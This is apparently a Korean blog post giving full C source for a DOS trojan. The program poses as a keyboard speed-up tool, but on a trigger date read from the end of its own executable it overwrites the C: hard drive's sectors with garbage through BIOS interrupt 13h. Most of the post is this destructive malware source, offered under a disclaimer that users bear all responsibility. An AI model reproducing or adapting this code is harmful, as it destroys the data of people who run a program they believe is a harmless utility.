이코드를 이용한 모든 책임은 개인에게 있습니다

C 로 구현한 바이러스

다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스입니다.
다음 배치로 구현한 바이러스 의 트로이 목마형 구조와 비슷합니다.
단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠.

다음 바이러스 프로그램은 하드디스크를 빠르게 합니다.
그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다.
C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요.

*바이러스 메인 부분입니다

// Main Source  Fast.C

#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>

#define LASTHEAD       1
#define LASTTRACK      79
#define LASTSECTOR     15
#define BYTESPERSECTOR 512
#define driveToRead    0x80       // C: drive (파괴대상 드라이브 지정)

char diskBuffer[BYTESPERSECTOR * LASTSECTOR];

typedef struct{    // 날짜의 구조체
        int Year;
        int Month;
        int Day;
} Time_Type;

// 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분)
void Fast_Key( void )
{
    outp( 0x60, 0xF3 );
    delay( 100 );
    outp( 0x60, 0x00 );
    delay( 100 );
}

// 하드디스크 섹터 쓰기
unsigned char WriteHardSector( unsigned char drive,
                               unsigned char sectorsToWrite,
                               unsigned char head,
                               unsigned int  cylinder,
                               unsigned char sector,
                               unsigned char far *bufferPtr ){
    union REGS reg;
    struct SREGS sreg;
    reg.h.ah = 3;
    reg.h.al = sectorsToWrite;
    reg.x.bx = FP_OFF(bufferPtr);
    reg.h.dh = head;
    reg.h.dl = drive;
    reg.h.ch = cylinder;
    reg.h.cl = (cylinder >> 8);
    reg.h.cl <<= 6;
    reg.h.cl |= (sector & 63);
    sreg.es = FP_SEG(bufferPtr);
    int86x(0x13,®,®,&sreg);
    return(reg.h.ah);
}

void main( void ){
    unsigned char currentHead,currentTrack,currentSector;
    struct date cur_d;                 // 날짜
    FILE *Read_Exe;                    // 화일 포인터
    Time_Type Clack_Time;              // 파괴 대상 하드디스크 날짜의 구조체
    int Data_Size = 0;                 //  날짜를 읽기위한 사이즈

    getdate(&cur_d);                   // 현재 날짜 알아내기

    Read_Exe = fopen("fast.exe","rb");
                  //바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN
                  //Open시 fast.exe 화일이 현디렉토리에 있어야함
    Data_Size = sizeof(Time_Type);
    fseek(Read_Exe,-Data_Size,SEEK_END);  // 실행 화일 끝에서 Data_Size만큼
                                          // 뒤로 포인트를 옮김
    fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
                                          // 데이타 읽기

    if( ( Clack_Time.Year   == cur_d.da_year) &&
        ( Clack_Time.Month  == cur_d.da_mon ) &&
        ( Clack_Time.Day    == cur_d.da_day )){
         // 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴
         for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
          for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
                      //실제 하드디스크 파괴 부분
                      //엉뚱한 데이타를 마구 써버림
                      WriteHardSector(driveToRead,LASTSECTOR,currentHead,
                                               currentTrack,1,diskBuffer);
          }
         }
         textattr( WHITE | BLUE << 4);
         cprintf("[ Cracking Ok ! ]");
         textattr( WHITE | BLACK << 4);
         cprintf("\n");
    }
    // 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다
    else { Fast_Key();
           textattr( WHITE | BLUE << 4);
           cprintf("Fast_key Installed !");
           textattr( WHITE | BLACK << 4);
           cprintf("\n");
    }
}

Trackback Address :: http://couple.haruschool.com/tc/trackback/38

댓글을 달아 주세요